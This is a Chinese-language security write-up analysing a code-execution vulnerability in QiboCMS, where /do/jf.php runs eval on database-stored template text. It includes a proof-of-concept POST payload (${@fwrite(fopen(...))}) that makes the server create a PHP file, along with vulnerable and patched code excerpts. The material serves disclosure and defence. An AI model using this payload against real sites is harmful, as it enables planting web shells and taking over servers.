catalog
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞程式碼分析 5. 防禦方法 6. 攻防思考
1. 漏洞描述
這個漏洞的成因簡單來說可以歸納為如下幾點
1. 類似於ECSHOP的的模版程式碼編譯功能,QIBO允許在文章中新增指定格式的模版程式碼 2. 在顯示文章的時候,QIBO會使用: eval("\$rs2[title]=\"$rs2[title]\";");方式對模版動態變數進行賦值 3. 黑客可以通過XSS、CSRF劫持管理員向資料庫中注入惡意程式碼: ${@fwrite(fopen('ali.php', 'w+'), 'test’)} 4. 由於PHP的動態執行特性,eval賦值的時候,在雙引號中的程式碼會被動態執行,從而導致原本的變數賦值變成了程式碼執行入口
Relevant Link:
2. 漏洞觸發條件
攻擊向量
1. 黑客需要向{$pre}jfabout資料表注入惡意程式碼 1) 黑客直接拿到管理員密碼,登入了後臺 2) CSRF 3) XSS攻擊 2. 文章顯示的時候,對模版變數進行解析,未對模版內容本身進行有效的過濾、惡意判斷
0x1: POC
http://localhost/qibo/admin/index.php?lfj=jfadmin&action=addjf POST: title=test&content=${@fwrite(fopen('ali.php', 'w+'), 'test’)}&list=1 或者普通使用者訪問/do/jf.php,即可在do目錄下生成ali.php檔案
3. 漏洞影響範圍
4. 漏洞程式碼分析
/do/jf.php
<?php require(dirname(__FILE__)."/"."global.php"); $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]); $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)) { $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db->fetch_array($query2)) { /* 1. 用於變數賦值的客體用雙引號包裹,PHP curl syntax(${${}})可以執行 2. 未對模版內容進行轉義處理,存在閉合注入的可能 */ eval("\$rs2[title]=\"$rs2[title]\";"); eval("\$rs2[content]=\"$rs2[content]\";"); $jfDB[$rs[fid]][]=$rs2; } } require(ROOT_PATH."inc/head.php"); require(html("jf")); require(ROOT_PATH."inc/foot.php"); ?>
/hack/jfadmin/admin.php
//通過這個向量黑客可以向{$pre}jfabout資料表注入惡意程式碼 .. elseif($action=="addjf"&&$Apower[jfadmin_mod]) { $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )"); jump("新增成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1); } ..
5. 防禦方法
/do/jf.php
<?php require(dirname(__FILE__)."/"."global.php"); $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]); $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db->fetch_array($query2)){ //eval("\$rs2[title]=\"$rs2[title]\";"); //eval("\$rs2[content]=\"$rs2[content]\";"); $rs2[title] = addslashes($rs2[title]); $rs2[content] = addslashes($rs2[content]); eval("\$rs2[title]='$rs2[title]';"); eval("\$rs2[content]='$rs2[content]';"); $jfDB[$rs[fid]][]=$rs2; } } require(ROOT_PATH."inc/head.php"); require(html("jf")); require(ROOT_PATH."inc/foot.php"); ?>
程式碼防禦的關鍵點主要如下
1. 將eval賦值語句內的雙引號改為單引號,禁止其PHP動態執行特性 2. 在引數外層包裹addslash,防止黑客注入進行閉合
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved